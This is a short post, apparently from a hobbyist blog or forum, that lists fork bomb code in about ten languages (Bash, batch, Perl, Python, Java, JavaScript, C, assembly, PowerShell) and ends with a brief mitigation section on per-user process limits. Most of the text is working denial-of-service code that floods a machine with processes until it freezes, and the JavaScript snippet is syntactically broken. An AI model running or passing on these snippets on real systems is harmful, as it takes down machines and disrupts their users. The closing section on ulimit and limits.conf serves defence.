fork-bomb in several language implements

anyone that has worked with Linux for any amount of time, the word fork bomb will be familiar. However, it's not just a terminal command. Below are some implementations in other languages, followed by mitigation tactics for Linux distros.

BASH

$ :(){ :|: & };:

.sh (Shell file)

#!/bin/bash

./$0|./$0&

.bat (Windows bat implements)

:TOP

start "" %0

goto TOP

~OR~

%0|%0

  #below is the same, but done in command line using ^ to escape specials:

echo %0^|%0 > forkbomb.bat

forkbomb.bat

.pl (Perl implement)

#! /bin/perl

perl -e "fork while fork" &

.py (Python implement)

#! /bin/py

import os

while 1:

    os.fork()

(Java implement)

public class ForkBomb

{

 public static void main(String[] args)

  {

   while(true)

   {

Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});

  }

 }

}

.js (JavaScript implement)

function bomb() {

  setTimeout function() {

   for (;;) {

    bomb();

   }

  }, 0);

}

.c (C lang implement)

#include <unistd.h>

int main(void)

{

   while(1) {

    fork(); /* malloc can be used in order to increase the data usage */

   }

}

.asm (Assembly, IA-32)

section .text

   global _start

   

_start:

   mov eax,2 ;System call for forking

   int 0x80 ;Call kernel

   jmp _start

.ps (PowerShell implement)

while($true) { 

   Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:";

   Invoke-Expression -Command 'while($true) {Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"}';}

Mitigation.

The fork bomb's mode of operation, (or MO), is entirely encapsulated by creating new processes, one way of preventing a fork bomb from severely affecting the entire system is to limit the maximum number of processes that a single user may own. On Linux, use ulimit cmd with the below arguments: ulimit -u 30 This limits the affected user to a maximum of thirty owned processes. On PAM-enabled systems, the limit can be set in /etc/security/limits.conf
and on FreeBSD, root can set limits in
/etc/login.conf

   `r3v